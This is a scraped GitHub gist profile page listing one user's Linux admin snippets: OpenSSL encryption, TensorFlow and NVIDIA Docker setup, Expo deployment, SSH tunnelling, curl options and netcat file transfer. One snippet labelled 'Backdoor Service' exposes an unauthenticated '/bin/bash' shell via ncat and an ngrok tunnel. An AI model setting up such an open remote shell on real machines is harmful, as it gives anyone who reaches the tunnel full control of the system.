Skip to content

Instantly share code, notes, and snippets.

View minlaxz's full-sized avatar
:octocat:
👻

Min Min Latt minlaxz

:octocat:
👻
View GitHub Profile
@minlaxz
minlaxz / Openssl-Encrypt-RSA-AES.md
Last active May 23, 2021 09:45
RSA and AES encryption with OpenSSL

AES-ENCRYPTIONS

AES with PASSWORD:

ENCRYPTION AND DECRYPTION USING PASSWORD:

  • encrypt FILE using PASSWORD:

    • $ openssl aes-256-cbc -salt -pbkdf2 -in inkyung.zip -out inkyung.zip.aes
  • encrypt STRING using PASSWORD:

    • $ echo "a_string" | openssl enc -e -aes-256-cbc -a -salt -pbkdf2
@minlaxz
minlaxz / Find all .mp4 file from multiple dir.md
Last active August 19, 2021 07:54
Linux find given name in depth of N.
find . -maxdepth 2 -name "*.mp4" -exec cp {} . \;
@minlaxz
minlaxz / build-tensorflow-from-source.md
Created November 18, 2020 14:34 — forked from Brainiarc7/build-tensorflow-from-source.md
Build Tensorflow from source, for better performance on Ubuntu.

Building Tensorflow from source on Ubuntu 16.04LTS for maximum performance:

TensorFlow is now distributed under an Apache v2 open source license on GitHub.

On Ubuntu 16.04LTS+:

Step 1. Install NVIDIA CUDA:

To use TensorFlow with NVIDIA GPUs, the first step is to install the CUDA Toolkit as shown:

@minlaxz
minlaxz / minlaxz-tf-gpu-jupyter.md
Last active May 23, 2021 19:40
reCompiling TensorFlow

in your host --

cd ~ && mkdir tf && cd $_
curl -fsSL https://github.com/tensorflow/tensorflow/blob/master/tensorflow/tools/dockerfiles/dockerfiles/devel-gpu-jupyter.Dockerfile -o ./Dockerfile
git clone tensorflow
curl -fsSL https://raw.githubusercontent.com/minlaxz/scripts/master/laxz.bashrc -o ./bash.bashrc
docker build -f ./Dockerfile -t yourRepo/repo:tag .

this Dockerfile will download a bunch of cuda11.0 and cudnn8 libs includes jupyter

@minlaxz
minlaxz / expo-reactnative-gh-pages.md
Last active May 23, 2021 19:39
Developing React native app with `Expo` CLI.

Developing React native app with Expo CLI.

  • To get started, install expo -> npm install -g expo-cli
  • Login Expo with expo login
  • Generate a test app with expo init MyApp
  • Edit App.js file and start project with expo start This will start up Metro Server in your development machine.
  • To start and run on android expo start --android.

Deploying to GitHub Pages:

  1. Install Docker Guide
  2. Test Docker
  • $ sudo usermod -aG docker $USER . (Add USER to Docker Group)
  • $ docker run hello-world
  1. Setting up NVIDIA Container Toolkit
  • $ distribution=$(. /etc/os-release;echo $ID$VERSION_ID)
  • $ curl -s -L https://nvidia.github.io/nvidia-docker/gpgkey | sudo apt-key add -
  • $ curl -s -L https://nvidia.github.io/nvidia-docker/$distribution/nvidia-docker.list | sudo tee /etc/apt/sources.list.d/nvidia-docker.list
  1. Install Nvidia-Docker2
  • $ sudo apt install -y nvidia-docker2

Reverse SSH to ngrok (no need to install ngrok client).

ssh -R 0:localhost:5555 tunnel.us.ngrok.com tcp
Expose localhost:5555 to ngrok with TCP connection.

Backdoor Service

ncat -l -p 5555 -e /bin/bash.
ncat anything.tcp.ngrok.io port.

File Transfer
@minlaxz
minlaxz / Others-Over-SSH.md
Last active November 4, 2020 08:16
SSH-use-cases. SSH is powerful, if I have ssh or scp, I would netcat files.

SSH TUNNELING

SSH FORWARD REMOTE's PORT TO THIS MACHINE's PORT

let's assume a service is listening on remote machine @remote_localhost at port 5000.
NOTE: remote mahcine is not listening on 0.0.0.0 just localhost privately.
I want to forward that remote machine service to me (my local machine).
on my machine

@minlaxz
minlaxz / curl.md
Created November 2, 2020 13:55 — forked from subfuzion/curl.md
curl POST examples

Common Options

-#, --progress-bar Make curl display a simple progress bar instead of the more informational standard meter.

-b, --cookie <name=data> Supply cookie with request. If no =, then specifies the cookie file to use (see -c).

-c, --cookie-jar <file name> File to save response cookies to.

@minlaxz
minlaxz / NetCat with Progress.md
Last active November 16, 2020 20:07
Using Netcat for File Transfers. Netcat is like a swiss army knife for geeks.

$ pv TensorRT-7.2.1.6.Ubuntu-18.04.x86_64-gnu.cuda-11.0.cudnn8.0.tar.gz | nc -w 3 172.17.0.2 6969 nc -l -p 6969 &gt; TensorRT-7.2.1.6.Ubuntu-18.04.x86_64-gnu.cuda-11.0.cudnn8.0.tar.gz